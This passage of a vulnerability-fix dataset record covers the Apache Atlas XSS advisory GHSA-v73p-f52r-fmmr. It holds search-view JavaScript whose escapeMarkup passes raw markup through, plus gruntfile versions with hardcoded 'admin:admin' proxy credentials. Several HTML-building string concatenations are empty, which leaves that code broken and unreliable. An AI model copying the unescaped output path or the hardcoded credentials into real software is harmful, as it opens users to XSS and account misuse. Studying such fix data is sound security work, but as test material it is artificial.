{\n _.each(Enums.addOnEntities, function(entity) {\n typeStr += '';\n });\n }\n if (!foundNewClassification && that.value) {\n if (that.value.tag) {\n var classificationValue = decodeURIComponent(that.value.tag);\n tagStr += '';\n }\n }\n if (_.isUndefined(isTypeOnly)) {\n //to insert extra classification list\n if (that.value) {\n _.each(Enums.addOnClassification, function(classificationName) {\n if (classificationName !== that.value.tag) {\n tagStr += '';\n }\n });\n }\n that.ui.tagLov.html(tagStr);\n this.ui.tagLov.select2({\n placeholder: \"Select Classification\",\n allowClear: true,\n tags: true,\n createTag: function(tag) {\n if (tag.term.indexOf('*') != -1) {\n return {\n id: tag.term,\n text: tag.term,\n isNew: true\n };\n }\n }\n });\n }\n that.ui.typeLov.html(typeStr);\n var typeLovSelect2 = this.ui.typeLov.select2({\n placeholder: \"Select Type\",\n dropdownAdapter: $.fn.select2.amd.require(\"ServiceTypeFilterDropdownAdapter\"),\n allowClear: true,\n getFilterBox: this.getFilterBox.bind(this),\n onFilterSubmit: function(options) {\n that.selectedFilter[that.type] = options.filterVal;\n that.filterTypeSelected = that.selectedFilter[that.type];\n that.renderTypeTagList({ \"filterList\": options.filterVal, isTypeOnly: true });\n that.checkForButtonVisiblity();\n }\n });\n if (this.value.filterTypeSelected === \"undefined\") {\n typeLovSelect2.on(\"select2:close\", function() {\n typeLovSelect2.trigger(\"hideFilter\");\n });\n if (typeLovSelect2 && isTypeOnly) {\n typeLovSelect2.select2('open').trigger(\"change\", { 'manual': true });\n }\n }\n if (that.setInitialEntityVal) {\n var defaultEntity = Enums.addOnEntities[0];\n that.value.type = defaultEntity;\n that.ui.typeLov.val(defaultEntity, null);\n }\n },\n renderTermList: function() {\n this.glossaryTermArray = null; //This Value is created to store the result of search Term while basic search through term.\n var that = this;\n var getTypeAheadData = function(data, params) {\n var dataList = data.entities,\n foundOptions = [];\n _.each(dataList, function(obj) {\n if (obj) {\n if (obj.guid) {\n obj['id'] = obj.attributes['qualifiedName'];\n }\n foundOptions.push(obj);\n }\n });\n return foundOptions;\n };\n this.ui.termLov.select2({\n placeholder: \"Search Term\",\n allowClear: true,\n ajax: {\n url: UrlLinks.searchApiUrl('attribute'),\n dataType: 'json',\n delay: 250,\n data: function(params) {\n return {\n attrValuePrefix: params.term, // search term\n typeName: \"AtlasGlossaryTerm\",\n limit: 10,\n offset: 0\n };\n },\n processResults: function(data, params) {\n that.glossaryTermArray = getTypeAheadData(data, params); //storing the search Results obj\n return {\n results: getTypeAheadData(data, params)\n };\n },\n cache: true\n },\n templateResult: function(option) {\n var name = Utils.getName(option, 'qualifiedName');\n return name === \"-\" ? option.text : name;\n },\n templateSelection: function(option) {\n var name = Utils.getName(option, 'qualifiedName');\n return name === \"-\" ? option.text : name;\n },\n escapeMarkup: function(markup) {\n return markup;\n },\n minimumInputLength: 1\n });\n },\n setValues: function(paramObj) {\n var arr = [],\n that = this;\n if (paramObj) {\n this.value = paramObj;\n }\n if (this.value.filterTypeSelected) {\n this.filterTypeSelected = this.value.filterTypeSelected.split(',');\n this.renderTypeTagList({ \"filterList\": this.filterTypeSelected, isTypeOnly: true });\n this.ui.typeLov.val(this.value.type);\n }\n if (this.value) {\n this.ui.searchInput.val(this.value.query || \"\");\n if (this.value.dslChecked == \"true\" || this.value.searchType === \"dsl\") {\n if (!this.ui.searchType.prop(\"checked\")) {\n this.ui.searchType.prop(\"checked\", true).trigger(\"change\");\n }\n } else {\n if (this.ui.searchType.prop(\"checked\")) {\n this.ui.searchType.prop(\"checked\", false).trigger(\"change\");\n }\n }\n this.ui.typeLov.val(this.value.type);\n if (this.ui.typeLov.data('select2')) {\n if (this.ui.typeLov.val() !== this.value.type) {\n this.value.type = null;\n this.ui.typeLov.val(\"\").trigger(\"change\", { 'manual': true });\n } else {\n this.ui.typeLov.trigger(\"change\", { 'manual': true });\n }\n }\n\n\n if (!this.dsl) {\n this.ui.tagLov.val(this.value.tag);\n if (this.ui.tagLov.data('select2')) {\n // To handle delete scenario.\n if (this.ui.tagLov.val() !== this.value.tag) {\n this.value.tag = null;\n this.ui.tagLov.val(\"\").trigger(\"change\", { 'manual': true });\n } else {\n this.ui.tagLov.trigger(\"change\", { 'manual': true });\n }\n }\n\n if (this.value.term) {\n this.ui.termLov.append('');\n }\n if (this.ui.termLov.data('select2')) {\n if (this.ui.termLov.val() !== this.value.term) {\n this.value.term = null;\n this.ui.termLov.val(\"\").trigger(\"change\", { 'manual': true });\n } else {\n this.ui.termLov.trigger(\"change\", { 'manual': true });\n }\n }\n }\n setTimeout(function() {\n that.ui.searchInput.focus();\n }, 0);\n }\n },\n findSearchResult: function() {\n this.triggerSearch(this.ui.searchInput.val());\n Globals.fromRelationshipSearch = false;\n },\n //This below function returns the searched Term Guid.\n getSearchedTermGuid: function() {\n var searchedTerm = this.ui.termLov.select2('val'),\n searchedTermGuid = null;\n if (searchedTerm) {\n this.glossaryTermArray.find(function(obj) {\n if (searchedTerm === obj.id)\n searchedTermGuid = obj.guid;\n });\n }\n return searchedTermGuid;\n },\n triggerSearch: function(value) {\n var params = {\n searchType: this.type,\n dslChecked: this.ui.searchType.is(':checked'),\n tagFilters: null,\n entityFilters: null,\n filterTypeSelected: this.filterTypeSelected\n },\n typeLovValue = this.ui.typeLov.find(':selected').data('name'), // to get count of selected element used data\n tagLovValue = this.ui.tagLov.find(':selected').data('name') || this.ui.tagLov.val(),\n termLovValue = this.ui.termLov.select2('val');\n params['type'] = typeLovValue || null;\n if (!this.dsl) {\n params['tag'] = tagLovValue || null;\n params['term'] = termLovValue || null;\n params['guid'] = this.getSearchedTermGuid(); //Adding Guid in the URL for selection while switching. \n var entityFilterObj = this.searchTableFilters['entityFilters'],\n tagFilterObj = this.searchTableFilters['tagFilters'];\n params['includeDE'] = false;\n params['excludeST'] = false;\n params['excludeSC'] = false;\n if (this.value) {\n if (this.value.tag) {\n params['tagFilters'] = tagFilterObj[this.value.tag]\n }\n if (this.value.type) {\n params['entityFilters'] = entityFilterObj[this.value.type]\n }\n var columnList = this.value.type && this.searchTableColumns ? this.searchTableColumns[this.value.type] : null;\n params['attributes'] = columnList ? columnList.join(',') : null;\n params['includeDE'] = _.isUndefinedNull(this.value.includeDE) ? false : this.value.includeDE;\n params['excludeST'] = _.isUndefinedNull(this.value.excludeST) ? false : this.value.excludeST;\n params['excludeSC'] = _.isUndefinedNull(this.value.excludeSC) ? false : this.value.excludeSC;\n }\n }\n if (this.value && !_.isUndefinedNull(this.value.pageLimit)) {\n params['pageLimit'] = this.value.pageLimit;\n }\n if (this.value && !_.isUndefinedNull(this.value.pageOffset)) {\n if (!_.isUndefinedNull(this.query[this.type]) && this.query[this.type].query != value) {\n params['pageOffset'] = 0;\n } else {\n params['pageOffset'] = this.value.pageOffset;\n }\n }\n params['query'] = value || null;\n _.extend(this.query[this.type], params);\n Utils.setUrl({\n url: '#!/search/searchResult',\n urlParams: _.extend({}, this.query[this.type]),\n mergeBrowserUrl: false,\n trigger: true,\n updateTabState: true\n });\n },\n dslFulltextToggle: function(e) {\n var paramObj = Utils.getUrlState.getQueryParams();\n if (paramObj && this.type == paramObj.searchType) {\n this.updateQueryObject(paramObj);\n }\n if (e.currentTarget.checked) {\n this.type = \"dsl\";\n this.dsl = true;\n this.$('.typeFilterBtn,.tagBox,.termBox,.basicSaveSearch').hide();\n this.$('.typeFilter').addClass('col-sm-12');\n this.$('.typeFilter').removeClass('col-sm-10');\n this.$('.advanceSaveSearch').show();\n this.$('.searchText').text('Search By Query');\n this.ui.searchInput.attr(\"placeholder\", 'Search By Query eg. where name=\"sales_fact\"');\n } else {\n this.$('.typeFilter').addClass('col-sm-10');\n this.$('.typeFilter').removeClass('col-sm-12');\n this.$('.typeFilterBtn,.tagBox,.termBox,.basicSaveSearch').show();\n this.$('.advanceSaveSearch').hide();\n this.dsl = false;\n this.type = \"basic\";\n this.$('.searchText').text('Search By Text');\n this.ui.searchInput.attr(\"placeholder\", \"Search By Text\");\n }\n if (Utils.getUrlState.isSearchTab()) {\n Utils.setUrl({\n url: '#!/search/searchResult',\n urlParams: _.extend(this.query[this.type], {\n searchType: this.type,\n dslChecked: this.ui.searchType.is(':checked')\n }),\n mergeBrowserUrl: false,\n trigger: true,\n updateTabState: true\n });\n }\n },\n clearSearchData: function() {\n this.selectedFilter[this.type] = [];\n this.filterTypeSelected = [];\n this.renderTypeTagList();\n this.updateQueryObject();\n this.ui.typeLov.val(\"\").trigger(\"change\");\n this.ui.tagLov.val(\"\").trigger(\"change\");\n this.ui.searchInput.val(\"\");\n var type = \"basicSaveSearch\";\n if (this.type == \"dsl\") {\n type = \"advanceSaveSearch\";\n }\n this.$('.' + type + ' .saveSearchList').find('li.active').removeClass('active');\n this.$('.' + type + ' [data-id=\"saveBtn\"]').attr('disabled', true);\n if (!this.dsl) {\n this.searchTableFilters.tagFilters = {};\n this.searchTableFilters.entityFilters = {};\n }\n this.checkForButtonVisiblity();\n Utils.setUrl({\n url: '#!/search/searchResult',\n urlParams: {\n searchType: this.type,\n dslChecked: this.ui.searchType.is(':checked')\n },\n mergeBrowserUrl: false,\n trigger: true\n });\n }\n });\n return SearchLayoutView;\n});" +repo = "apache/atlas" +url = "https://github.com/apache/atlas.git" + +[[case]] +advisory = "GHSA-v73p-f52r-fmmr" +advisory_text = "Apache Atlas UI: Authenticated User XSS\n\nAn authenticated user can perform XSS.\n\nThis issue affects Apache Atlas versions 2.4.0 and earlier.\n\nUsers are recommended to upgrade to version 2.5.0, which fixes the issue." +commit = "800f979307d6ea0f0b6563ec890f6b728022e497" +cwe = "CWE-80" +family = "output_encoding" +function = "function" +function_lines = [[21, 390]] +id = "apache-atlas-10c9d446ebf3bb21" +language = "javascript" +method = "fix_site" +parent = "e67cc199e61afc92f242cccd05e97a61e0791bd2" +path = "dashboardv2/gruntfile.js" +post_fix = "module.exports = function(grunt) {\n var buildTime = new Date().getTime(),\n distPath = './dist',\n libPath = distPath + '/js/libs/',\n isDashboardDirectory = grunt.file.isDir('public'),\n nodeModulePath = './node_modules/',\n modulesPath = 'public/';\n if (!isDashboardDirectory) {\n modulesPath = '../public/'\n }\n\n grunt.initConfig({\n watch: {\n js: {\n files: ['public/**/*.js'],\n tasks: ['copy:build']\n },\n html: {\n files: ['public/**/*.html'],\n tasks: ['copy:build']\n },\n css: {\n files: ['public/**/*.scss', 'public/**/*.css'],\n tasks: ['copy:build', 'sass']\n },\n image: {\n files: ['public/**/*.{ico,gif,png}'],\n tasks: ['copy:build']\n }\n },\n connect: {\n server: {\n options: {\n port: 9999,\n base: distPath,\n // change this to '0.0.0.0' to access the server from outside\n hostname: '0.0.0.0',\n middleware: function(connect, options, middlewares) {\n middlewares.unshift(require('grunt-middleware-proxy/lib/Utils').getProxyMiddleware());\n middlewares.unshift(function(req, res, next) {\n if (req.url === '/login.jsp' || req.url.indexOf('/login.jsp') === 0) {\n req.url = '/index.html';\n }\n next();\n });\n return middlewares;\n }\n },\n proxies: [{\n context: '/api/atlas',\n host: 'ccycloud-2.prasad-relationshipattribute.root.comops.site',\n auth: 'admin:admin',\n port: 31000,\n https: false,\n rewriteHost: true\n }],\n },\n },\n npmcopy: {\n js: {\n options: {\n destPrefix: libPath,\n srcPrefix: nodeModulePath\n },\n files: {\n // FileName : {\"src\":\"dest\"}\n 'jquery.min.js': { 'jquery/dist': 'jquery/js' },\n 'require.js': { 'requirejs': 'requirejs' },\n 'text.js': { 'requirejs-text': 'requirejs-text' },\n 'underscore-min.js': { 'underscore': 'underscore' },\n 'bootstrap.min.js': { 'bootstrap/dist/js': 'bootstrap/js' },\n 'backbone-min.js': { 'backbone': 'backbone' },\n 'backbone.babysitter.min.js': { 'backbone.babysitter/lib': 'backbone-babysitter' },\n 'backbone.marionette.min.js': { 'backbone.marionette/lib': 'backbone-marionette' },\n 'backbone.paginator.min.js': { 'backbone.paginator/lib': 'backbone-paginator' },\n 'backbone.wreqr.min.js': { 'backbone.wreqr/lib': 'backbone-wreqr' },\n 'backgrid.js': { 'backgrid/lib': 'backgrid/js' },\n 'backgrid-filter.min.js': { 'backgrid-filter': 'backgrid-filter/js' },\n 'backgrid-orderable-columns.js': { 'backgrid-orderable-columns': 'backgrid-orderable-columns/js' },\n 'backgrid-paginator.min.js': { 'backgrid-paginator': 'backgrid-paginator/js' },\n 'backgrid-sizeable-columns.js': { 'backgrid-sizeable-columns': 'backgrid-sizeable-columns/js' },\n 'Backgrid.ColumnManager.js': { 'backgrid-columnmanager/src': 'backgrid-columnmanager/js' },\n 'd3.min.js': { 'd3/dist': 'd3' },\n 'index.js': { 'd3-tip': 'd3/' },\n 'dagre-d3.min.js': { 'dagre-d3/dist': 'dagre-d3' },\n 'select2.full.min.js': { 'select2/dist/js': 'select2' },\n 'backgrid-select-all.min.js': { 'backgrid-select-all': 'backgrid-select-all' },\n 'moment.min.js': { 'moment/min': 'moment/js' },\n 'moment-timezone-with-data.min.js': { 'moment-timezone/builds': 'moment-timezone' },\n 'jquery.placeholder.js': { 'jquery-placeholder': 'jquery-placeholder/js' },\n 'platform.js': { 'platform': 'platform' },\n 'query-builder.standalone.min.js': { 'jQuery-QueryBuilder/dist/js': 'jQueryQueryBuilder/js' },\n 'daterangepicker.js': { 'bootstrap-daterangepicker': 'bootstrap-daterangepicker/js' },\n 'jquery.sparkline.min.js': { 'jquery-sparkline': 'sparkline' },\n 'table-dragger.js': { 'table-dragger/dist': 'table-dragger' },\n 'jstree.min.js': { 'jstree/dist': 'jstree' },\n 'jquery.steps.min.js': { 'jquery-steps/build': 'jquery-steps' },\n 'dropzone-amd-module.js': { 'dropzone/dist': \"dropzone/js\" },\n 'lossless-json.js': { 'lossless-json/dist': 'lossless-json' }\n }\n\n },\n css: {\n options: {\n destPrefix: libPath,\n srcPrefix: nodeModulePath\n },\n files: {\n 'bootstrap.min.css': { 'bootstrap/dist/css': 'bootstrap/css' },\n 'glyphicons-halflings-regular.woff2': { 'bootstrap/fonts': 'bootstrap/fonts' },\n 'backgrid.css': { 'backgrid/lib': 'backgrid/css' },\n 'backgrid-filter.min.css': { 'backgrid-filter': 'backgrid-filter/css' },\n 'backgrid-orderable-columns.css': { 'backgrid-orderable-columns': 'backgrid-orderable-columns/css' },\n 'backgrid-paginator.css': { 'backgrid-paginator': 'backgrid-paginator/css' },\n 'backgrid-sizeable-columns.css': { 'backgrid-sizeable-columns': 'backgrid-sizeable-columns/css' },\n 'Backgrid.ColumnManager.css': { 'backgrid-columnmanager/lib': 'backgrid-columnmanager/css' },\n 'select2.min.css': { 'select2/dist/css': 'select2/css' },\n 'backgrid-select-all.min.css': { 'backgrid-select-all': 'backgrid-select-all' },\n 'font-awesome.min.css': { 'font-awesome/css': 'font-awesome/css' },\n '*': [{\n 'expand': true,\n 'dot': true,\n 'cwd': nodeModulePath + 'font-awesome',\n 'src': ['fonts/*.*'],\n 'dest': libPath + 'font-awesome/'\n }, {\n 'expand': true,\n 'dot': true,\n 'cwd': nodeModulePath + 'jstree/dist/themes/',\n 'src': ['**'],\n 'dest': libPath + 'jstree/css/'\n }],\n 'query-builder.default.min.css': { 'jQuery-QueryBuilder/dist/css': 'jQueryQueryBuilder/css' },\n 'daterangepicker.css': { 'bootstrap-daterangepicker': 'bootstrap-daterangepicker/css' },\n 'pretty-checkbox.min.css': { 'pretty-checkbox/dist': 'pretty-checkbox/css' },\n 'dropzone.css': { 'dropzone/dist': \"dropzone/css\" }\n }\n\n },\n license: {\n options: {\n destPrefix: libPath,\n srcPrefix: nodeModulePath\n },\n files: {\n 'LICENSE.txt': [\n { 'jquery': 'jquery' },\n { 'jquery-placeholder': 'jquery-placeholder' }\n ],\n 'LICENSE': [{ 'requirejs-text': 'requirejs-text' },\n { 'underscore': 'underscore' },\n { 'bootstrap': 'bootstrap' },\n { 'backgrid-columnmanager': 'backgrid-columnmanager' },\n { 'd3': 'd3' },\n { 'd3-tip': 'd3/' },\n { 'dagre-d3': 'dagre-d3' },\n { 'platform': 'platform/' },\n { 'jQuery-QueryBuilder': 'jQueryQueryBuilder/' },\n { 'moment-timezone': 'moment-timezone' },\n { 'pretty-checkbox': 'pretty-checkbox' }\n ],\n 'LICENSE.md': [{ 'backbone.babysitter': 'backbone-babysitter' },\n { 'backbone.wreqr': 'backbone-wreqr' },\n { 'lossless-json': 'lossless-json' }\n ],\n 'license.txt': [{ 'backbone.marionette': 'backbone-marionette' }],\n 'license': [{ 'table-dragger': 'table-dragger' }],\n 'LICENSE-MIT': [{ 'backbone.paginator': 'backbone-paginator' },\n { 'backgrid': 'backgrid' },\n { 'backgrid-filter': 'backgrid-filter' },\n { 'backgrid-orderable-columns': 'backgrid-orderable-columns' },\n { 'backgrid-paginator': 'backgrid-paginator' },\n { 'backgrid-sizeable-columns': 'backgrid-sizeable-columns' },\n { 'backgrid-select-all': 'backgrid-select-all' }\n ]\n }\n }\n },\n rename: {\n main: {\n files: [\n { src: [libPath + 'jstree/css/default/style.min.css'], dest: libPath + 'jstree/css/default/default-theme.min.css' },\n { src: [libPath + 'jstree/css/default-dark/style.min.css'], dest: libPath + 'jstree/css/default-dark/default-dark-theme.min.css' },\n ]\n }\n },\n sass: {\n options: {\n implementation: sass,\n sourceMap: false\n },\n build: {\n files: {\n [distPath + '/css/style.css']: modulesPath + 'css/scss/style.scss',\n [distPath + '/css/migration-style.css']: modulesPath + 'css/scss/migration-style.scss',\n [distPath + '/css/login.css']: modulesPath + 'css/scss/login.scss'\n }\n }\n },\n copy: {\n build: {\n expand: true,\n cwd: modulesPath,\n src: ['**', '!**/scss/**', \"!**/atlas-lineage/**\", \"**/atlas-lineage/dist/**\", \"!index.html.tpl\"],\n dest: distPath\n }\n },\n clean: {\n build: [distPath, libPath],\n options: {\n force: true\n }\n },\n uglify: {\n buildlibs: {\n options: {\n mangle: true,\n compress: true,\n beautify: false\n },\n files: [{\n expand: true,\n cwd: distPath + '/js',\n src: ['external_lib/**/*.js', '!external_lib/**/purify.min.js', 'libs/**/*.js'],\n dest: distPath + '/js'\n }]\n },\n buildjs: {\n options: {\n mangle: false,\n compress: true,\n beautify: true\n },\n files: [{\n expand: true,\n cwd: distPath + '/js',\n src: ['**/*.js', '!libs/**', '!external_lib/**'],\n dest: distPath + '/js'\n }]\n }\n },\n cssmin: {\n build: {\n files: [{\n expand: true,\n cwd: distPath + '/css',\n src: '*.css',\n dest: distPath + '/css'\n }]\n }\n },\n htmlmin: {\n build: {\n options: {\n removeComments: true,\n collapseWhitespace: true\n },\n files: [{\n expand: true,\n cwd: distPath + '/js/templates',\n src: '**/*.html',\n dest: distPath + '/js/templates'\n }]\n }\n },\n template: {\n build: {\n options: {\n data: {\n 'bust': buildTime\n }\n },\n files: {\n [distPath + '/index.html']: [modulesPath + 'index.html.tpl'],\n [distPath + '/migration-status.html']: [modulesPath + 'migration-status.html.tpl']\n }\n }\n }\n });\n\n // Dynamically add copy-task using npmcopy\n var npmCopy = grunt.config.get('npmcopy'),\n libFiles = [],\n createPath = function(options) {\n var obj = options.obj,\n fileName = options.fileName,\n pathPrefix = options.pathPrefix;\n if (obj.length) {\n for (var i in obj) {\n createPath({\n 'obj': obj[i],\n 'libFiles': options.libFiles,\n 'pathPrefix': pathPrefix,\n 'fileName': fileName\n });\n }\n } else {\n if (fileName == \"*\") {\n options.libFiles.push(obj);\n } else {\n key = Object.keys(obj);\n options.libFiles.push({ 'src': pathPrefix.srcPrefix + key + \"/\" + fileName, 'dest': pathPrefix.destPrefix + obj[key] + \"/\" + fileName });\n }\n }\n };\n\n for (var key in npmCopy) {\n var options = npmCopy[key].options,\n files = npmCopy[key].files;\n for (var fileName in files) {\n createPath({\n 'obj': files[fileName],\n 'libFiles': libFiles,\n 'pathPrefix': options,\n 'fileName': fileName\n });\n }\n };\n grunt.config.set('copy.libs', { files: libFiles });\n\n grunt.loadNpmTasks('grunt-contrib-connect');\n grunt.loadNpmTasks('grunt-middleware-proxy');\n grunt.loadNpmTasks('grunt-contrib-watch');\n grunt.loadNpmTasks('grunt-contrib-uglify');\n grunt.loadNpmTasks('grunt-contrib-cssmin');\n grunt.loadNpmTasks('grunt-contrib-htmlmin');\n grunt.loadNpmTasks('grunt-template');\n grunt.loadNpmTasks('grunt-contrib-rename');\n\n require('load-grunt-tasks')(grunt);\n\n grunt.registerTask('dev', [\n 'clean',\n 'copy:libs',\n 'copy:build',\n 'rename',\n 'sass:build',\n 'template',\n 'setupProxies:server',\n 'connect:server',\n 'watch'\n ]);\n\n grunt.registerTask('build', [\n 'clean',\n 'copy:libs',\n 'copy:build',\n 'rename',\n 'sass:build',\n 'template'\n ]);\n\n grunt.registerTask('dev-minify', [\n 'clean',\n 'copy:libs',\n 'copy:build',\n 'rename',\n 'sass:build',\n 'uglify',\n 'cssmin',\n 'template',\n 'setupProxies:server',\n 'connect:server',\n 'watch'\n ]);\n\n grunt.registerTask('build-minify', [\n 'clean',\n 'copy:libs',\n 'copy:build',\n 'rename',\n 'sass:build',\n 'uglify',\n 'cssmin',\n 'template'\n ]);\n};" +pre_fix = "module.exports = function(grunt) {\n var buildTime = new Date().getTime(),\n distPath = './dist',\n libPath = distPath + '/js/libs/',\n isDashboardDirectory = grunt.file.isDir('public'),\n nodeModulePath = './node_modules/',\n modulesPath = 'public/';\n if (!isDashboardDirectory) {\n modulesPath = '../public/'\n }\n\n grunt.initConfig({\n watch: {\n js: {\n files: ['public/**/*.js'],\n tasks: ['copy:build']\n },\n html: {\n files: ['public/**/*.html'],\n tasks: ['copy:build']\n },\n css: {\n files: ['public/**/*.scss', 'public/**/*.css'],\n tasks: ['copy:build', 'sass']\n },\n image: {\n files: ['public/**/*.{ico,gif,png}'],\n tasks: ['copy:build']\n }\n },\n connect: {\n server: {\n options: {\n port: 9999,\n base: distPath,\n // change this to '0.0.0.0' to access the server from outside\n hostname: '0.0.0.0',\n middleware: function(connect, options, middlewares) {\n middlewares.unshift(require('grunt-middleware-proxy/lib/Utils').getProxyMiddleware());\n return middlewares;\n }\n },\n proxies: [{\n context: '/api', // the context of the data service\n host: '127.0.0.1',\n auth: \"admin:admin\",\n port: 21000, // the port that the data service is running on\n https: false\n }],\n },\n },\n npmcopy: {\n js: {\n options: {\n destPrefix: libPath,\n srcPrefix: nodeModulePath\n },\n files: {\n // FileName : {\"src\":\"dest\"}\n 'jquery.min.js': { 'jquery/dist': 'jquery/js' },\n 'require.js': { 'requirejs': 'requirejs' },\n 'text.js': { 'requirejs-text': 'requirejs-text' },\n 'underscore-min.js': { 'underscore': 'underscore' },\n 'bootstrap.min.js': { 'bootstrap/dist/js': 'bootstrap/js' },\n 'backbone-min.js': { 'backbone': 'backbone' },\n 'backbone.babysitter.min.js': { 'backbone.babysitter/lib': 'backbone-babysitter' },\n 'backbone.marionette.min.js': { 'backbone.marionette/lib': 'backbone-marionette' },\n 'backbone.paginator.min.js': { 'backbone.paginator/lib': 'backbone-paginator' },\n 'backbone.wreqr.min.js': { 'backbone.wreqr/lib': 'backbone-wreqr' },\n 'backgrid.js': { 'backgrid/lib': 'backgrid/js' },\n 'backgrid-filter.min.js': { 'backgrid-filter': 'backgrid-filter/js' },\n 'backgrid-orderable-columns.js': { 'backgrid-orderable-columns': 'backgrid-orderable-columns/js' },\n 'backgrid-paginator.min.js': { 'backgrid-paginator': 'backgrid-paginator/js' },\n 'backgrid-sizeable-columns.js': { 'backgrid-sizeable-columns': 'backgrid-sizeable-columns/js' },\n 'Backgrid.ColumnManager.js': { 'backgrid-columnmanager/src': 'backgrid-columnmanager/js' },\n 'd3.min.js': { 'd3/dist': 'd3' },\n 'index.js': { 'd3-tip': 'd3/' },\n 'dagre-d3.min.js': { 'dagre-d3/dist': 'dagre-d3' },\n 'select2.full.min.js': { 'select2/dist/js': 'select2' },\n 'backgrid-select-all.min.js': { 'backgrid-select-all': 'backgrid-select-all' },\n 'moment.min.js': { 'moment/min': 'moment/js' },\n 'moment-timezone-with-data.min.js': { 'moment-timezone/builds': 'moment-timezone' },\n 'jquery.placeholder.js': { 'jquery-placeholder': 'jquery-placeholder/js' },\n 'platform.js': { 'platform': 'platform' },\n 'query-builder.standalone.min.js': { 'jQuery-QueryBuilder/dist/js': 'jQueryQueryBuilder/js' },\n 'daterangepicker.js': { 'bootstrap-daterangepicker': 'bootstrap-daterangepicker/js' },\n 'jquery.sparkline.min.js': { 'jquery-sparkline': 'sparkline' },\n 'table-dragger.js': { 'table-dragger/dist': 'table-dragger' },\n 'jstree.min.js': { 'jstree/dist': 'jstree' },\n 'jquery.steps.min.js': { 'jquery-steps/build': 'jquery-steps' },\n 'dropzone-amd-module.js': { 'dropzone/dist': \"dropzone/js\" },\n 'lossless-json.js': { 'lossless-json/dist': 'lossless-json' }\n }\n\n },\n css: {\n options: {\n destPrefix: libPath,\n srcPrefix: nodeModulePath\n },\n files: {\n 'bootstrap.min.css': { 'bootstrap/dist/css': 'bootstrap/css' },\n 'glyphicons-halflings-regular.woff2': { 'bootstrap/fonts': 'bootstrap/fonts' },\n 'backgrid.css': { 'backgrid/lib': 'backgrid/css' },\n 'backgrid-filter.min.css': { 'backgrid-filter': 'backgrid-filter/css' },\n 'backgrid-orderable-columns.css': { 'backgrid-orderable-columns': 'backgrid-orderable-columns/css' },\n 'backgrid-paginator.css': { 'backgrid-paginator': 'backgrid-paginator/css' },\n 'backgrid-sizeable-columns.css': { 'backgrid-sizeable-columns': 'backgrid-sizeable-columns/css' },\n 'Backgrid.ColumnManager.css': { 'backgrid-columnmanager/lib': 'backgrid-columnmanager/css' },\n 'select2.min.css': { 'select2/dist/css': 'select2/css' },\n 'backgrid-select-all.min.css': { 'backgrid-select-all': 'backgrid-select-all' },\n 'font-awesome.min.css': { 'font-awesome/css': 'font-awesome/css' },\n '*': [{\n 'expand': true,\n 'dot': true,\n 'cwd': nodeModulePath + 'font-awesome',\n 'src': ['fonts/*.*'],\n 'dest': libPath + 'font-awesome/'\n }, {\n 'expand': true,\n 'dot': true,\n 'cwd': nodeModulePath + 'jstree/dist/themes/',\n 'src': ['**'],\n 'dest': libPath + 'jstree/css/'\n }],\n 'query-builder.default.min.css': { 'jQuery-QueryBuilder/dist/css': 'jQueryQueryBuilder/css' },\n 'daterangepicker.css': { 'bootstrap-daterangepicker': 'bootstrap-daterangepicker/css' },\n 'pretty-checkbox.min.css': { 'pretty-checkbox/dist': 'pretty-checkbox/css' },\n 'dropzone.css': { 'dropzone/dist': \"dropzone/css\" }\n }\n\n },\n license: {\n options: {\n destPrefix: libPath,\n srcPrefix: nodeModulePath\n },\n files: {\n 'LICENSE.txt': [\n { 'jquery': 'jquery' },\n { 'jquery-placeholder': 'jquery-placeholder' }\n ],\n 'LICENSE': [{ 'requirejs-text': 'requirejs-text' },\n { 'underscore': 'underscore' },\n { 'bootstrap': 'bootstrap' },\n { 'backgrid-columnmanager': 'backgrid-columnmanager' },\n { 'd3': 'd3' },\n { 'd3-tip': 'd3/' },\n { 'dagre-d3': 'dagre-d3' },\n { 'platform': 'platform/' },\n { 'jQuery-QueryBuilder': 'jQueryQueryBuilder/' },\n { 'moment-timezone': 'moment-timezone' },\n { 'pretty-checkbox': 'pretty-checkbox' }\n ],\n 'LICENSE.md': [{ 'backbone.babysitter': 'backbone-babysitter' },\n { 'backbone.wreqr': 'backbone-wreqr' },\n { 'lossless-json': 'lossless-json' }\n ],\n 'license.txt': [{ 'backbone.marionette': 'backbone-marionette' }],\n 'license': [{ 'table-dragger': 'table-dragger' }],\n 'LICENSE-MIT': [{ 'backbone.paginator': 'backbone-paginator' },\n { 'backgrid': 'backgrid' },\n { 'backgrid-filter': 'backgrid-filter' },\n { 'backgrid-orderable-columns': 'backgrid-orderable-columns' },\n { 'backgrid-paginator': 'backgrid-paginator' },\n { 'backgrid-sizeable-columns': 'backgrid-sizeable-columns' },\n { 'backgrid-select-all': 'backgrid-select-all' }\n ]\n }\n }\n },\n rename: {\n main: {\n files: [\n { src: [libPath + 'jstree/css/default/style.min.css'], dest: libPath + 'jstree/css/default/default-theme.min.css' },\n { src: [libPath + 'jstree/css/default-dark/style.min.css'], dest: libPath + 'jstree/css/default-dark/default-dark-theme.min.css' },\n ]\n }\n },\n sass: {\n options: {\n implementation: sass,\n sourceMap: false\n },\n build: {\n files: {\n [distPath + '/css/style.css']: modulesPath + 'css/scss/style.scss',\n [distPath + '/css/migration-style.css']: modulesPath + 'css/scss/migration-style.scss',\n [distPath + '/css/login.css']: modulesPath + 'css/scss/login.scss'\n }\n }\n },\n copy: {\n build: {\n expand: true,\n cwd: modulesPath,\n src: ['**', '!**/scss/**', \"!**/atlas-lineage/**\", \"**/atlas-lineage/dist/**\", \"!index.html.tpl\"],\n dest: distPath\n }\n },\n clean: {\n build: [distPath, libPath],\n options: {\n force: true\n }\n },\n uglify: {\n buildlibs: {\n options: {\n mangle: true,\n compress: true,\n beautify: false\n },\n files: [{\n expand: true,\n cwd: distPath + '/js',\n src: ['external_lib/**/*.js', '!external_lib/**/purify.min.js', 'libs/**/*.js'],\n dest: distPath + '/js'\n }]\n },\n buildjs: {\n options: {\n mangle: false,\n compress: true,\n beautify: true\n },\n files: [{\n expand: true,\n cwd: distPath + '/js',\n src: ['**/*.js', '!libs/**', '!external_lib/**'],\n dest: distPath + '/js'\n }]\n }\n },\n cssmin: {\n build: {\n files: [{\n expand: true,\n cwd: distPath + '/css',\n src: '*.css',\n dest: distPath + '/css'\n }]\n }\n },\n htmlmin: {\n build: {\n options: {\n removeComments: true,\n collapseWhitespace: true\n },\n files: [{\n expand: true,\n cwd: distPath + '/js/templates',\n src: '**/*.html',\n dest: distPath + '/js/templates'\n }]\n }\n },\n template: {\n build: {\n options: {\n data: {\n 'bust': buildTime\n }\n },\n files: {\n [distPath + '/index.html']: [modulesPath + 